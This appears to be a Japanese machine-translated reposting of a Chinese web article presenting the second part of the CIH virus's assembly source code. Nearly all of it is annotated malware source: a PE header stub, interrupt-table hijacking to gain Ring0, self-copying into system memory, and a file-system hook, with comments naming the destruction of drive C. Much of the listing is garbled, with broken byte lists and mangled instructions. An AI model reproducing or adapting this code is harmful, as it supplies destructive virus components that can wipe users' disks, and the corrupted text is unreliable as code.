ホームページ  >  記事  >  バックエンド開発  >  ウイルスプログラムのソースコード例の解析 - CIH ウイルス[2]

ウイルスプログラムのソースコード例の解析 - CIH ウイルス[2]

黄舟
黄舟オリジナル
2017-01-17 11:15:082191ブラウズ

ウイルスプログラムのソースコード例の分析 - CIHウイルス[2]

OriginalAppEXE SEGMENT

;PE形式実行ファイルヘッダ
FileHeader:
db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
db 004h, 000h, 000h, 、0ffh、0ffh、000h、000h
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 0 00h, 000h, 00h、000h、000h、000h、000h、000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 00, 0h、000h、000h、080h、000h、000h、 000h
db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh
db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
db 069h, 073h、020h、070h、072h、06fh、067h 、072h
db 061h、06dh、020h、063h、061h、06eh、06eh、06fh
db 074h、020h、062h、065h、020h、072h、075h、06eh
db 020h、069h、06eh、020h、044h、04fh 053h 、020h
db 050h、045h、000h、000h、04ch、001h、001h、000h
db 0f1h、068h、020h、035h、000h、000h、000h、000h
db 000h、000h、000h、000h、0e0h、000h、 00fh、001h
db 00bh、001h、005h、000h、000h 010h、000h、000h 0h、000h
db 000h、020h、000h、000h、000h、000h、040h、 000h db 000h、010h、000h、000h、000h、 002h, 000h, 000h db 004h, 000h, 000h, 000h, 000h, 000h , 000h, 000h
db 004h, 000h, 000h, 000h , 000h, 000h, 000h, 000h
db 000h、020h、000h、000h、000h、 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 002h, 00 0h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 00h
db 000h, 000h, 010h, 000h, 000h、010h、000h、000h
db 000h、000h、000h、000h、010h、000h、000h、000h
db 000h、000h、000h、000h、000h、 000h, 000h
db 000h, 000h, 000h, 000h 、000h、000h、000h、000h db 000h、000h、000h、000h、00 0h、000h、000h、000h
db 000h、000h、000h、000h、000h、000h、 、000h
db 000h、000h、000h、 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h , 000h, 000h, 000h, 000h
db 000h, 000h , 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h 、000h、000h、000h、000h、000h
db 000h、000h、000h、00 0h、000h、000h、000h、000h
db 000h、000h、000h、000h、 000h、000h、000h
db 000h、000h 、000h、000h、000h、000h、000h、000h
db 000h、000h、000h、000h、000h、000h、000h、000h
db 000h、000h、000h、 h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 00 0h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 00h、000h、000h、000h、000h
db 02eh、074h、065h、078h、074h、000h、000h、000h
db 000h、010h、000h、000h、000h、010h、000h、000h
db 000h、010h、 0h、000h、000h、002h、000h、000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 0 00h, 000h, 000h, 020h, 000h, 000h, 060h
db 000h, 、000h、000h、000h、000h、000h、 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 0 00h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h、000h、000h、000h、000h、000h、 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h 000h
db 000h、000h、000h、000h、000h、000h、 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h , 000h, 000h
db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h

; ウイルスプログラム開始
TRUE = 1
FALSE = 0
DEBUG = FALSE

;バージョン番号がバージョン 1.4 であることを示します
MajorVirusVersion = 1;メジャー バージョン番号
MinorVirusVersion = 4;マイナー バージョン番号
VirusVersion = MajorVirusVersion*10h+MinorVirusVersion;合成バージョン番号

IF DEBUG ; デバッグするかどうか
FirstKillHardDiskNumber = 81h; D プレートを破棄します。HookExceptionNumber = 05h ; 割り込み番号5を使用
ELSE
FirstKillHardDiskNumber = 80h ; Cドライブを破壊します
HookxceptionNumber = 03h ; 割り込み番号3を使用します
ENDIF

VirusGame SEGMENT
CS:ウイルスゲーム、DS:ウイルスゲーム、SS:ウイルスゲームと仮定しますases ES:birusgame、fs:virusgame、gs:virusgame
myvirusstart:
ebp


;エラープロンプトの生成を避けるためにシステムの例外処理を変更する
lea eax、[esp-04h* 2]
xor ebx、ebx
アドレスアドレス
lea ecx, StopToRunVirusCode-@0[ebx]
push ecx
push eax

; 最高のRing0レベル権限を取得するために、割り込み記述テーブルを変更します
push eax
sidt [esp-02h]; 割り込みのベースアドレスを取得します。 description tableをebxに書き込む
pop ebx ; add ebx, HookExceptionNumber*08h+04h ; ebxに使用する割り込みのベースアドレスを計算する

cli ; 変更する前に割り込みをオフにする

mov ebp, [ebx] ;例外処理のベースアドレスを取得 Address
mov bp, [ebx-04h] ; GetEntry

lea esi, MyExceptionHook-@1[ecx]

push esi ;esi はウイルス割り込みルーチンのアドレス

mov [ebx-04h], si ;
shr esi, 16;例外を変更する
mov [ebx+02h], si;ウイルス割り込みルーチンを指すように割り込みベースアドレスを変更する

pop esi

; に入る例外を生成するring0 level
int HookExceptionNumber;中断してRing0レベルに入る
ReturnAddressOfEndException = $

; すべてのウイルスコードをマージ
push esi
mov esi, eax ;esiはウイルスの先頭を指す

;LoopOfMergeAllVirusCodeSection:
mov ecx、[eax -04h]

rep movsb ;割り当てられたシステムメモリの先頭アドレスにウイルスコードを複製
sub eax, 08h
mov esi, [eax]
or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection ZF = 1

jmp LoopO; fMergeAllVirusCodeSection コピー;次の段落

QuitLoopOfMergeAllVirusCodeSection:
pop esi
int HookExceptionNumber

; 例外処理を保存
ReadyRestoreSE:
sti; 割り込みをオンにする
StopToRunVirusCode:
@1 = StopToRunVirusCode


pop eax

; 元のプログラムに移動します。そして普通に実行します
pop ebp

Push 00401000h ; Push Original
OriginalAddressOfEntryPoint = $-4 ; サブルーチン return の形で元のプログラムの先頭に戻ります。
; ウイルス初期化モジュール
MyExceptionHook:
@2 = MyExceptionHook

jz InstallMyFileSystemApiHook; システムフックをインストールするプログラムに移動します

mov ecx, dr0; dr0はウイルスが存在する場所) Flag)
jecxz AllocateSystemMemoryPage ; 設定されていない場合は、システムメモリを割り当てます

add dword ptr [esp], ReadyRestoreSE-ReturnAddressOfEndException

元のプログラムに戻ります
ExitRing0Init:
mov [eb x-04h] 、bp; shr ebp、restore ebx+02h]、元の割り込みベースアドレスを復元します。 ebx;ウイルス常駐フラグを設定 dr0
; Push 00000000fh ;
Push 0ffffffffh ;
Push ecx ; Call Method ULONG EXTERN _Pages,

;ULONG maxPhys, ULONG *PhysAddr 、ULONG フラグ); ecx;
プッシュ ecx;
プッシュ 000000002h;dd 00010053h ;eax、ecx、edx、およびフラグレジスタを使用します
add esp, 08h*04h;スタックポインタを復元します

xchg edi, eax;ediは割り当てられたシステムメモリの最初のアドレスを指します
lea eax, MyVirusStart-@2[esi ] ;eax はウイルスの先頭を指します

iretd ; 中断を終了します

; ファイルシステムフックを初期化します
InstallMyFileSystemApiHook:
lea eax, FileSystemApiHook-@6[edi] ; ファイルシステムフックプログラムの最初のアドレスを指します

push eax ;
int 20h; Vxd call IFSMgr_InstallFileSystemApiHook
IFSMgr_InstallFileSystemApiHook = $
dd 00400067h;eax、ecx、edx、フラグレジスタを使用します

mov dr0, eax;オリジナルを保存ファイルシステムフックプログラムの最初のアドレスをdr0に
pop eax ;eax はファイル システム フック プログラムの最初のアドレスと同じです

;元の IFSMgr_InstallFileSystemApiHook 関数呼び出しのエントリ ポイントを保存します
mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi]
mov edx, [ecx] ; edx は IFSMgr_InstallFileSystemApiHook のエントリ ポイントです
mov OldInstallFileSystemApi Hook-@3[eax], edx

; 修正IFSMgr_InstallFileSystemApiHook入口
lea eax, InstallFileSystemApiHook-@3[eax]
mov [ecx], eax;新しいIFSMgr_InstallFileSystemApiHook関数呼び出しのアドレスを設定します
; InstallFileSystemApiHook へ
cli;割り込みをオフにする

上記はウイルスプログラムのソースコードの例です。 CIH ウイルスの内容の分析 [2] 関連コンテンツの詳細については、PHP 中国語 Web サイトをご覧ください。 (www.php.cn)!


声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。